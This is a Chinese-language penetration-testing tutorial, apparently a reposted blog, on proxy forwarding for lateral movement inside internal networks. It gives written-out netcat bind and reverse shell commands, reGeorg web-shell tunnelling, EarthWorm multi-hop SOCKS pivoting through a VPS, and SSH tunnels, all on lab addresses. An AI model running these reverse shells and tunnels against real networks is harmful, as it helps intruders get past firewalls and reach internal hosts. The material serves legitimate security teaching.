內網***之代理轉發

1 前言

談到內網轉發,在我們日常的***測試過程中經常會用到端口轉發,可以利用代理腳本將內網的流量代理到本地進行訪問,這樣極大的方便了我們對內網進行橫向***。

那爲什麼不直接通過登陸服務器來對內網中其他機器進行***,而是通過內網轉發呢?意義何在呢?

內網***之代理轉發

因爲.........

大部分時候拿到權限不夠,無法直接登錄。

而且如果在內網服務器中進行操作,我們需要上傳工具進行很多操作,如果服務器缺少對應的環境變量或者組件,會導致***受阻。

而且直接遠程登錄會留下比較明顯的痕跡。

因此內網轉發是我們最好的選擇,在本地進行操作是最方便的,也比較安全~~~

說這麼多,不知道大家有沒有聽過"代理"這個詞,這個東西和我們要說的內網轉發有很大的關係~

2 正向和反向代理

那接下來咱們嘮一下什麼是正向/反向代理?

正向代理中,Proxy和Client同屬一個區域,對Server是透明的;反向代理中,Proxy和Server同屬一個區域,對Client透明。但其實這不管是正向還是反向代理都有一個共同的特點,都是代替收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,後面那個玩意叫做反向代理。

內網***之代理轉發

2.1正向代理(Forward Proxy)

內網***之代理轉發

Lhost--->proxy--->Rhost

Lhost爲了訪問到Rhost,向proxy發送了一個請求並且指定目標是Rhost,然後proxy向Rhost轉交請求並將獲得的內容返回給Lhost,簡單來說正向代理就是proxy代替了我們去訪問Rhost。

2.2反向代理(Reverse Proxy)

內網***之代理轉發

Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(廢話),一般情況下,防火牆肯定不能讓外網機器隨便訪問地訪問內網機器,所以就提出反向代理。

Lhost只向proxy發送普通的請求,具體讓他轉到哪裏,proxy自己判斷,然後將返回的數據遞交回來,這樣的好處就是在某些防火牆只允許proxy數據進出的時候可以有效的進行穿透。

內網***之代理轉發

簡單區分

正向代理的是客戶端,反向代理的是服務端,可以理解爲正向代理是就比如年少時期喜歡那個Ta,當時很羞澀需要我自己(Lhost)寫一份信(proxy)去告訴Ta,反向代理就是喜歡的那個Ta(Rhost)知道並且主動(proxy)過來告訴自己(Lhost)。

有人要問了,代理本質又是基於什麼"何方神聖"呢?

那就是Socks協議~~

3 Socks協議

什麼是Socks協議??

中文意思:防火牆安全會話轉換協議,工作在OSI參考模型的第5層(會話層)。

內網***之代理轉發

它是一種可以穿透防火牆的協議,很多場景都會用到。比如Fan牆,你們懂得~~

因爲Socks介於傳輸層與表示層之間,使用TCP協議傳輸數據,因而不提供如傳遞ICMP信息之類的網絡層相關服務。

目前有兩個版本:SOCKS4和SOCKS5

SOCKS4支持TELNET、FTPHTTP等TCP協議;

SOCKS5支持TCP與UDP,並支持安全認證方案。

Ps: Socks不支持ICMP,不能使用ping命令。。記住哦~~~

當然啦,基於socks的轉發代理有很多的實用的小工具,少俠看圖吧~

常見的轉發工具及不同平臺的代理鏈工具:

內網***之代理轉發

這些工具能對我們內網橫向***產生什麼效果呢?接下來就開始進行一波模擬實戰吧~

內網***之代理轉發

4 Natcat

讓我們的神器出手--瑞士**,也叫NC,小巧強悍,主要作用就是用來反彈shell。

主機A:192.168.153.138

主機B:192.168.153.140

正向連接

在主機A執行

nc -l -p 5555 -t -e cmd.exe

-t是通過telnet模式執行 cmd.exe 程序,可以省略。

內網***之代理轉發

在主機B執行

nc -nvv 192.168.153.138 5555:

內網***之代理轉發

反向連接

在主機B監聽

nc -lp 5555

內網***之代理轉發

在主機A反彈

nc -t -e cmd 192.168.153.140 5555:

內網***之代理轉發

5 reGeorg+Proxychains

reGeorg是reDuh的升級版,主要是把內網服務器的端口通過http/https隧道轉發到本機。

1.上傳reGeorg的tunnel.jsp到web主機A。訪問鏈接,並轉發到本地端口。

內網***之代理轉發

主機B以python環境運行:

python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

內網***之代理轉發

使用設置proxychains的代理端口,進行訪問,一般配合nmap和metasploit進行後續內網***。

Ps:socks4版本協議不支持udp和icmp協議,所以使用nmap要加上-sT -Pn即使用tcp協議且不使用icmp協議。

內網***之代理轉發

6 Earthworm+Proxychains

EW 是一套便攜式的網絡穿透工具,具有SOCKSv5服務架設和端口轉發兩大核心功能,可在複雜網絡環境下完成網絡穿透。

該工具能夠以"正向"、"反向"、"多級級聯"等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆鬆土。

支持 Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用。

內網***之代理轉發

該工具借用了 ssocks 和 lcx.exe 的操作邏輯,並進行更多的功能強化。

目前工具提供六種鏈路狀態,可通過 -s 參數進行選定,分別爲:

ssocksd rcsocks rssocks

lcx_slave lcx_tran lcx_listen

其中 SOCKS5 服務的核心邏輯支持由 ssocksd 和 rssocks 提供,分別對應正向與反向socks代理。

其餘的 lcx 鏈路狀態用於打通測試主機同 socks 服務器之間的通路。

lcx 類別管道:

  • lcx_slave 該管道一側通過反彈方式連接代理請求方,另一側連接代理提供主機。

  • lcx_tran 該管道,通過監聽本地端口接收代理請求,並轉交給代理提供主機。

  • lcx_listen 該管道,通過監聽本地端口接收數據,並將其轉交給目標網絡回連的代理提供主機。

通過組合lcx類別管道的特性,可以實現多層內網環境下的***測試。

6.1 正向SOCKS5服務器

當目標網絡邊界存在公網IP且可任意開監聽端口:

./ew_for_Win.exe -s ssocksd -l 8888

內網***之代理轉發

上述命令是在該機器(192.168.153.140)開啓一個8888的正向連接端口。

然後其它主機可通過設置代理爲192.168.153.140:8888添加這個代理,這裏使用的是proxychains。

內網***之代理轉發

6.2 反彈SOCKS5服務器

當目標網絡邊界不存在公網IP,通過反彈方式創建socks代理。

先在一臺具有公網 ip 的主機A上運行以下命令:

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

內網***之代理轉發

意思是在我們公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉交給8888端口。

在目標主機B上啓動SOCKS5服務 並反彈到公網主機的8888端口:

ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888

內網***之代理轉發

本地主機(192.168.153.129)然後通過添加公網192.168.153.129:1080這個代理,來訪問內網機器(192.168.153.129)

當然如果本地主機如果是公網ip,就可以把在公網執行的步驟放在本地執行即可。

內網***之代理轉發

6.3 二級網絡環境(有公網IP)

假設我們獲得了右側A主機和B主機的控制權限,A主機配有2塊網卡,一塊10.129.72.168連通外網,一塊192.168.153.140只能連接內網B主機,無法訪問內網其它資源。B主機可以訪問內網資源,但無法訪問外網。

內網***之代理轉發

先上傳ew到B主機,利用ssocksd方式啓動8888端口的SOCKS代理,命令如下:

ew_for_Win.exe -s ssocksd -l 8888

然後在A主機執行:

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

內網***之代理轉發

含義是將1080端口收到的代理請求轉交給B主機(192.168.153.138)的8888端口。

然後MyPc就可以通過A的外網代理10.129.72.168:1080訪問B。

內網***之代理轉發

6.4 二級網絡環境(無公網IP)

假設我們獲得了右側A主機和B主機的控制權限,A主機(NAT)沒有公網IP,也無法訪問內網資源。B主機可以訪問內網資源,但無法訪問外網。

內網***之代理轉發

這次操作有四步:

1.在公網vps(45.xxx.xxx.72)添加轉接隧道,將10800端口收到的代理請求轉交給8888端口;

./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

內網***之代理轉發

2.B主機(192.168.153.138)主機正向開啓8888端口;

./ew_for_Win.exe -s ssocksd -l 9999

內網***之代理轉發

3.A主機利用lcx_slave方式,將公網VPS的888端口和B主機的999端口連接起來;

./ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f192.168.153.138 -g 9999

內網***之代理轉發

4.現在MyPC可通過訪問45.xxx.xxx.72:10800來使用192.168.153.138主機提供的socks5代理,代理成功,vps會有rssockscmd_socket OK!提示。

內網***之代理轉發

內網***之代理轉發

7 ssh隧道代理轉發

ssh有三個強大的端口轉發命令,分別是本地轉發、遠程轉發、動態轉發。

socks代理:

ssh -qTfnN -D port remotehost

參數詳解:

-C 允許壓縮數據\
-q 安靜模式\
-T不佔用 shell\
-f 後臺運行,並推薦加上 -n 參數\
-N不執行遠程命令\
-g允許遠端主機連接本地轉發的端口\
-n把 stdin 重定向到 /dev/null (防止從 stdin 讀取數據)\
-L port:host :hostport 正向代理






//將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口

-R port:host :hostport 反向代理

//將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口

-D port socks5代理

//指定一個本地機器 "動態" 應用程序端口轉發。

7.1 ssh本地轉發

遠程管理服務器上的mysql,mysql不能直接root用戶遠程登陸。這時候就可以通過本地轉發,通過ssh將服務器的3306端口轉發到本地1234端口實現以root用戶遠程登陸mysql。

ssh -CfNg -L <本機地址>:<本機端口>:<目標B地址>:<目標B端口>用戶名@跳板IP(A)

ssh -CfNg -L 1234:127.0.0.1:3306 [email protected]

內網***之代理轉發

7.2 ssh遠程轉發

內網的服務器,外網不能直接訪問,使用遠程轉發,將內網的服務器端口轉發到外網端口。這時候訪問外網的端口,就可以直接訪問到了內網的端口。

ssh -CfNg -R <本地端口>:<目標B地址>:<目標B端口> 用戶名@本地IP

ssh -CfNg -R 81:127.0.0.1:80 [email protected]

內網***之代理轉發

現在在192.168.153.142訪問127.0.0.1:81就是訪問內網的服務器的80端口。

內網***之代理轉發

7.3 ssh動態轉發

遠端服務器有限制隔離,本地主機無法直接訪問,需要將一臺可以訪問遠端服務器的主機作爲跳板,設置爲代理端,來代理訪問不能訪問的資源。

ssh -qTfnN -D <本地端口> 用戶名@跳板IP(A)

ssh -qTfnN -D 1080 [email protected]

原文鏈接:https://www.jianshu.com/p/8379a00868c2

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章